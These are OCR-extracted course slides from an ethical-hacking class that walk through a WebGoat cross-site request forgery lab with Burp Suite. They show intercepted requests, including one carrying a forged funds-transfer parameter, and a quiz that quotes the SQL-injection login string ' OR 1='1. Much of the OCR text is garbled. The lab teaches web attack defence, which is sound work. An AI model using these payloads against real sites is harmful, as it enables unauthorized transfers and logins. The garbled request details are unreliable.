Accept-Encoding: gzip, deflate
Referer: http://10.76.5.101/WebGoat /attack ?Screen=52&nenu=200
Cookie: JSESSIONID=S22DSCOFI2694ES0FL1SSDADB4EEBECAE; acopendivids=swingset,jotto,phpbb2, redmnine; acgroupswithpersist=nada
Authorization: Basic Z3V9c30Q6Z3V1ic3l=
Connection: close
I
e
v
Z < + > Tvpe a search term 0 matches

Click Forward on Burp Suite to continue 187
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Cross-Site Request Forgery (CSRF) Setup

[EH-Kali] Firefox

Cross Site Request Forgery (CSRF) - Mozilla Firefox

e "’f/-ﬁ Cross Site Request F.. x_'\'\\-l-

00

I/(- ) @ | 10.76.5.101/WebGoat/attack? S creen=528&menu=900 e | |Q Search | Ww B ¥

Most Visited v JllOffensive Security "

Kali Linux " Kali Docs S Kali Tools EMExploit-DBE Wy Aircrack-ng

@ &

LAB: Cross Site Scripting
Stage 1. Stored XSS

Stage 2: Block Stored X55
using Input Validation

Stage 3: Stored X35

Eevisited

Stage 4: Block Stored XS5

using Output Encoding

Stage 5: Reflected X35

Stage 6: Block Reflected X35
Stored XSS Attacks
Reflected XSS Attacks
Cross Site Request Forgery
[CSRF)
CSREF Prompt By-Pass
CSRF Token By-Pass

HTTPOnly Test

Cross Site Tracing (XS
Attacks

Improper Error Handling
Injection Flaws

Denial of Service
Insecure Communication
Insecure Configuration
Insecure Storage
Malicious Execution
Parameter Tampering

TETC TN STUE ITIETTU,

Note that the "Screen” and "menu” GET variables will vary between WebGoat build: 2

Copying the menu link on the left will give you the current values.

Title: ‘ ‘

Message:

Submit

Message List

Created by Sherif

Koussa

Select the message with the malicious payload

SoftwareSect

(2

v

188
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Cross-Site Request Forgery (CSRF) Setup

Burp Suite on EH-Kali-xx

Burp Suite Free Edition v1.7.03 - Temporary Project e ® O

Burp Intruder Repeater Window Help

[Target TPrnxy T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Project options T User options Tﬁlerts ]

_[ Intercept T HTTP history T WebSockets history T Options ]

Forward Drop Intercept is on Action Comment this item e [2

Raw Params Headers Hex

GET /WebGoat/attack ?Screen=52&nenu=200&Num=3 HTTP/1.1

Host: 10.76.5.101

User-aAgent: Mozillas5. @ (X¥11: Linux x86_64; rv:45,0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%,/%;q=0.8
Accept-Language: en-US,en;g=0.5

Accept -Encoding: gzip, deflate

Referer: http://10.76.5.101/WebGoat fattack ?Screen=528menu=200&Num=3

e

=
v

LJ EJ EJ EJ Type a search term 0 matches

Click Forward on Burp Suite to continue 189
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Cross-Site Request Forgery (CSRF) Setup

[EH-Kali] Burp Suite

Burp Suite Free Edition v1.7.03 - Temporary Project e ® O
Burp Intruder Repeater Window Help
[Tﬂrget T Proxy T Spider T Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender T Project options T User options Tnler‘ts ]
J Intercept T HTTP history T WebSockets history T Options ]
(#] Request to hitp://10.76.50 101:80 [unknown host]
[ Forward J l Drop J [ Intercept is on ] l Action J Comme s ite |2
Params | Headers
GET /WebGoat /attack 7Screen=8l&menu=210&t ransferFunds=5000 HTTP/1.1 'y
1) e v R - 3 e v o
User-Agent: Mozilla/5.0 (X11; Linux x86 64 rv:45.0) Gecko/20100101 Firefox/45.0
Accept: image/png,image/*;q=0.8, #/%;0=0.5
Accept-Language: en-US,en;g=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.76.5,101/WebGoat /attack ?Screen=52&menu=900&Num=3
Connection: close
=
v
? = Gl = Type a search term 0 matches

Note the GET request containing the malicious URL which 190
requests the transfer the bank funds to attacker
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When finished using the Burp Suite,
disable the proxy settings in your
browser:

"Pancakes" icon
> Preferences
> Advanced
> Network
> Settings...
> Select "No proxy"
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Next Class

Assignment: Check the Calendar Page on the web site to
see what is due next week.
aue

e\ W

Quiz questions for next class:

« Using ' OR 1="1 as the password to log into a web application is what
kind of attack?

« What the difference between stored and reflected cross-site scripting?

« The Burp Suite can be used as a HTTP proxy server (T or F)?
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